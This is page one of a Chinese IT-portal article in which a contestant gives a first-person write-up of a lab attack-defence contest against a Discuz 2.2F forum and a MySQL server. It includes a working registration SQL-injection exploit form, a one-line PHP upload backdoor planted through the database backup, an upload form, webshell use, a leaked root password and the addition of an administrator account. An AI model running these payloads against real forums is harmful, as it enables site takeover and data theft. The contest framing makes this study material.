首页 | 互联网 | IT动态 | IT培训 | Cisco | Windows | Linux | Java | .Net | Oracle | 软件测试 | C/C++ | 嵌入式开发 | 存储世界 | 服务器
网络设备 | IDC | 安全 | 求职招聘 | 数字网校 | 网页设计 | 平面设计 | 技术专题 | 电子书下载 | 教学视频 | 源码下载 | 搜索 | 博客 | 论坛
 您现在的位置: 中国IT实验室 >> 安全 >> 网络安全 >> 正文


网络安全攻防大赛技术细节与个人评论


  估计大家都知道成都的“天地杯”网络安全攻防大赛的消息了,既然和网络安全有关,估计不少朋友都想知道其中的技术细节,我就说说其中技术细节。至于和我一起参加比赛的人,都是圈内比较出名的人物,机会、优势几乎都在我们这边了,其他我就暂时不说了。圈内也有不少人知道是我们几个参加了,所以我觉得写出来也无所谓。先说说技术的,完了再说说我个人的看法。

  首先说说这次的攻击环境:

  Web 服务器( 172.16.0.125 )
  系统: Windows Server 2003 / Apache 1.3.31
  打开端口:80、3389
  Web 程序:Discuz 2.2F

  MySQL 服务器( 172.16.0.119 )
  系统: Windows Server 2003 / Mysql 4.0.21
  打开端口: 3306、3389

  注意:比赛规定是不允许上外网,所有工具都是自己带的。且刚开始数据库服务器 IP 是未知的,我们的目标是拿到数据库上 D 盘的相应文件。

  尽管我们几个人讨论了几个方案和分工,但是由于实际情况,我们还是做了一些改变,我几乎是全权负责攻击,其他人负责干扰对手、嗅探、搭建各种服务共我们交流、交换工具,由于不准上外网,我们下载了 QQ 企业版交流,在其中一个人的服务器上搭建了 WEB 服务器,提供我们自己带来一些工具,于是我们为了进攻的进度得以保障,我们每个人都修改了默认管理密码,禁用其他所有系统用户,停掉 N 多默认的服务,禁止空连接,做了本地安全策略,修改了 IP 地址的 C 段使我们和其他人不在同一个网段,配置好了,也差不多开始了。

  经过了安全专家的精心配置,所以我想直接从系统入手可能性还是比较小,尽管如此,还是分配了两个人用扫描器对 Web 服务器进行扫描并生成报告,另外的人嗅探抓到了不少系统的密码等敏感信息,我就不说其他人了,由于我负责全部的攻击,我还是把过程写出来。

  我知道 Discuz 2.2F 有两个致命漏洞,但是官方也发布了更新版本,不知道这里存在不,不管怎么说,获得 webshell 是最基本的,不然一切都不可能,恰好 Discuz 2.2F 给我们提供了条件,访问 http://172.16.0.125/forumdata/illegallog.php ,返回“ Access Denied ”,漏洞不存在,换一个,这个 2.2F 的早期版本可以注册相同的 ID ,不过对于繁体的论坛的中文名注册会变乱码,我只测试了英文名的,不管,先写一个表单:

<FORM action="http://172.16.0.125/register.php?emailadd=and uid=100000&doublee=1" method="post" target="_blank">
用户名 :<INPUT name=username value="admin"><br>
密码:<INPUT name=password type=text value="123456"><br>
确认密码:<INPUT name=password2 type=text value="123456"><br>
E-mail :<INPUT name=email value="4ngel@21cn.com"><br>
<INPUT type=submit value= 注册 name=regsubmit>
</FORM>

  这个漏洞不是我发现的,但是我自己分析过,在我们的内部论坛有我的分析报告,现在公布出来。先说说这个漏洞的利用和存在的理由。

  register.php 的代码中有如下代码:

$email = trim($email);
if(!$doublee && strstr($email, ’@’)) {
  $emailadd = "OR email=’$email’";
}

  这里是说如果不存在 $doublee 这个变量,并且判断邮件地址格式正确,就指定 $emailadd 这个变量为 "OR email=’$email’" ,为后面的 SQL 语句做准备。往下有一段代码如下:

$query = $db->query("SELECT COUNT(*) FROM $table_members WHERE username=’$username’ $emailadd ");
if($db->result($query, 0)) {
  showmessage(’profile_account_duplicate’);
}

  默认 $emailadd = "OR email=’$email’" 是满足的,所以上面的 SQL 语句就变成判断用户名和邮箱,有任意一个相同,就提示“该用户名或 Email 地址已经被注册了,请返回重新填写。”

  利用的方法是给 $doublee 赋值,然后就可以饶过 $emailadd = "OR email=’$email’" 这句,然后再自己构造 $emailadd 这个变量,这个就是我在本地表单的 action 构造的原因。

<FORM action="http://172.16.0.125/register.php? emailadd=and uid=100000&doublee=1" method="post">

  然后这个语句到了上面的 SQL 语句那里,就变成:

SELECT COUNT(*) FROM $table_members WHERE username=’$username’ and uid=100000

  既然是同时用用户名和用户 ID 判断,那么这个肯定是不成立的了,就可以顺利跳过

if($db->result($query, 0)) {
  showmessage(’profile_account_duplicate’);
}

  直接到达这里插入记录:

$db->query("INSERT INTO $table_members (........) VALUES (........)");

  也就注册了相同的用户名。然后再看看 memcp.php ,看到更新用户资料的那里, SQL 语句居然是这样。

UPDATE $table_members SET ...... WHERE username=’$discuz_user’

  直接更新所有用户名为 XX 的资料。呵呵,就达到了修改管理员的密码的目的。呵呵, DZ 论坛没有用 id 来判断更新是不严谨的。没有考虑到唯一性……

  我顺利提升了自己论坛用户的权限,能进入后台以后,我们可以做的事情就多了,插入记录,导出文件,就可以写文件在硬盘了,由于不知道 Web 目录路径,所以不能用 select….into outfile 导出文件,而且此时数据库与 WEB 服务器是分开的,即使导文件也是导出在 MYSQL 服务器上。不过还是有办法,我马上在“数据库升级那里”执行:

INSERT INTO `cdb_forumlinks` (`id`, `displayorder`, `name`, `url`, `note`, `logo`)
VALUES (’’, ’0’, ’’, ’’, ’<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>’, ’’);

  黑体部分是我写的后门代码,然后选择数据库备份最小备份,把扩展名改成 .php ,备份后我们就可以上传文件到 forumdata 目录了,可能有不少新手会问,我怎么这么了解?因为我以前用过 Discuz 论坛,研究过这个论坛,所以对这个论坛还是十分熟悉的,如果有谁不懂可以直接搭建环境来测试。

  然后本地再写一个表单用于上传文件:

<form ENCTYPE="multipart/form-data" ACTION="http://172.16.0.125/forumdata/upfile.php" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit">
</form>

  我们上传了一个 phpspy 上去,上去后,我要做的事就只有一件,就是把 register.php 文件的漏洞给补上,直接把

$email = trim($email);
if(!$doublee && strstr($email, ’@’)) {
  $emailadd = "OR email=’$email’";
}

  改为:

$emailadd = "OR email=’$email’";

  断绝其他对手的后路,我们再多传几个 phpspy ,让我们的队员慢慢玩,查看 config.php 文件,看到了 MySQL 服务器地址( 172.16.0.119 )和 root 用户的密码,原来密码是 fuck_Mysql ,用这个密码试了试 MySQL 服务器的管理员,失败。还有 phpmyadmin 的地址,原来是 php32 目录。查看了一下 php 配置,配置还不错,挺仔细的,可惜我的 phpspy 还是可以利用 webshell 功能成功的添加了系统帐号并提升到管理员权限,成功登陆 3389 ,注意,由于 Windows Server 2003 的安全机制,不是 Administrators 组的用户是不能登陆 3389 的,查看了一些基本的配置后,看到 EffeTech HTTP Sniffer ,原来剑客一直在注意我呢,哈哈,在桌面留个文件和他打个招呼,表示一下晚辈对前辈的尊重。

[1] [2] 下一页

【责编:wayen】


相关文章
谁更安全 六款主流浏览器深度测试
安全技巧 通过命令限制上网用户的权限
Rambo安全经验谈:如何应对DoS攻击
木马攻击 杀毒软件失灵:企业安全噩梦
利用网络访问管理(NAC) 保障系统安全
安全性对比 浅析防火墙与路由器配置
关注企业数据安全 十招谨防数据泄露
世界第一黑客改过自新 总结电脑安全十大建议
热点文章
 文章评论
 精彩友情推荐
  • Asp源码 PHP源码
  • CGI源码 JSP源码
  • 建站书籍教程
  • 服务器软件 .net源码
  • 建站工具软件
  • IDC资讯大全
  • 机房品质万里行
  • IDC托管必备知识
  • 全国IDC报价
  • 网站推广优化

  •  最新更新
     技术专题